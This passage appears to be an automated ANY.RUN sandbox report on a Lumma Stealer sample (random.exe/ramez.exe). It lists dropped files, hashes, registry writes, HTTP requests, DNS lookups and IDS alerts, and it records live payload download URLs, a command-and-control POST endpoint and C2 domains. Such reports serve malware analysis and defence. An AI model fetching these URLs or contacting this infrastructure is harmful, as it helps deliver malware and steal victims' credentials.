Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
904"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.70 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffc8a45dc40,0x7ffc8a45dc4c,0x7ffc8a45dc58C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
908"C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.59\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=3424 --field-trial-handle=2428,i,11222647493184718650,12751564700982203278,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.59\identity_helper.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
PWA Identity Proxy Host
Exit code:
3221226029
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\identity_helper.exe
c:\windows\system32\ntdll.dll
Total events
110 863
Read events
110 729
Write events
134
Delete events
0

Modification events

(PID) Process:(7996) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(7996) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(7996) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(5892) cvtres.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(5892) cvtres.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(5892) cvtres.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(4944) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(4944) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(4944) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(4944) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
Executable files
62
Suspicious files
277
Text files
255
Unknown types
0

Dropped files

PID
Process
Filename
Type
7996ramez.exeC:\Users\admin\AppData\Local\Temp\10130590101\2fe2b5f1fb.exeexecutable
MD5:ECE1D1507B62C20327E999C6936A95A7
SHA256:8EB08322033F193A5E7EA16D83C0CD324EFAAAB628FB245BDB27F6977C2A6D86
5892cvtres.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8binary
MD5:1FBB37F79B317A9A248E7C4CE4F5BAC5
SHA256:9BF639C595FE335B6F694EE35990BEFD2123F5E07FD1973FF619E3FC88F5F49F
78363HTQKQ2MGV32G88R.exeC:\Windows\Tasks\ramez.jobbinary
MD5:9A98877EB8C436D48FB149747CF262C8
SHA256:083216B1B0345FC7B51045B6CF79D6E3530D8986DCEF8326E990532B128A4E4F
5892cvtres.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\E4DJRUXW\success[1].htmbinary
MD5:CFCD208495D565EF66E7DFF9F98764DA
SHA256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
5892cvtres.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\info[1].htmtext
MD5:FE9B08252F126DDFCB87FB82F9CC7677
SHA256:E63E7EBE4C2DB7E61FFC71AF0675E870BCDE0A9D8916E5B3BE0CB252478030BF
5892cvtres.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\E4DJRUXW\dll[1]executable
MD5:2ECB51AB00C5F340380ECF849291DBCF
SHA256:F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
7996ramez.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\random[1].exeexecutable
MD5:ECE1D1507B62C20327E999C6936A95A7
SHA256:8EB08322033F193A5E7EA16D83C0CD324EFAAAB628FB245BDB27F6977C2A6D86
5892cvtres.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\KCV3KQBA\service[1].htmbinary
MD5:CFCD208495D565EF66E7DFF9F98764DA
SHA256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
5892cvtres.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C60C0C29522E01E6A22BD2717F20782E_BB79CA8C6D209B802D43900E1F55F992binary
MD5:A1FD1172FBB3E74E3BDBE134803C4B5F
SHA256:C66609C904CC95D1DCD4B52B8AD5E58D3E4E6DCED563EB8EA7B338C8401E61D0
5892cvtres.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\soft[1]executable
MD5:D16A6A8B1C5075A37817F7F93CF989D7
SHA256:D9A5E95EBF4E31AD61DBD5DDF3961D545934F6B8D63F5C267043740A84583C41
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
37
TCP/UDP connections
157
DNS requests
155
Threats
85

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.216.77.10:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6436
random.exe
GET
200
185.156.72.2:80
http://185.156.72.2/mine/random.exe
unknown
—
—
unknown
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
7996
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
7996
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
2140
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
7996
ramez.exe
GET
200
185.156.72.2:80
http://185.156.72.2/files/unique2/random.exe
unknown
—
—
unknown
5892
cvtres.exe
GET
200
142.250.184.195:80
http://c.pki.goog/r/gsr1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
23.216.77.10:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5496
MoUsoCoreWorker.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
6436
random.exe
104.21.112.1:443
cornerdurv.top
CLOUDFLARENET
—
unknown
6436
random.exe
172.67.222.194:443
narrathfpt.top
CLOUDFLARENET
US
unknown
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6436
random.exe
172.67.214.17:443
jackthyfuc.run
CLOUDFLARENET
US
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 20.73.194.208
  • 4.231.128.59
whitelisted
google.com
  • 172.217.18.14
whitelisted
crl.microsoft.com
  • 23.216.77.10
  • 23.216.77.41
  • 23.216.77.35
  • 23.216.77.32
  • 23.216.77.43
  • 23.216.77.11
  • 23.216.77.12
  • 23.216.77.34
  • 23.216.77.5
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
cornerdurv.top
  • 104.21.112.1
  • 104.21.32.1
  • 104.21.64.1
  • 104.21.48.1
  • 104.21.96.1
  • 104.21.16.1
  • 104.21.80.1
unknown
narrathfpt.top
  • 172.67.222.194
  • 104.21.83.105
unknown
client.wns.windows.com
  • 172.211.123.249
  • 172.211.123.250
whitelisted
jackthyfuc.run
  • 172.67.214.17
  • 104.21.77.252
unknown
onehunqpom.life
  • 104.21.16.209
  • 172.67.215.238
unknown
laminaflbx.shop
  • 188.114.96.3
  • 188.114.97.3
unknown

Threats

PID
Process
Class
Message
2196
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cornerdurv .top)
6436
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (cornerdurv .top) in TLS SNI
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (laminaflbx .shop)
6436
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (laminaflbx .shop) in TLS SNI
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (overcovtcg .top)
6436
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
6436
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
6436
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
6436
random.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Win32/Lumma Stealer Related Domain (overcovtcg .top) in TLS SNI
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
random.exe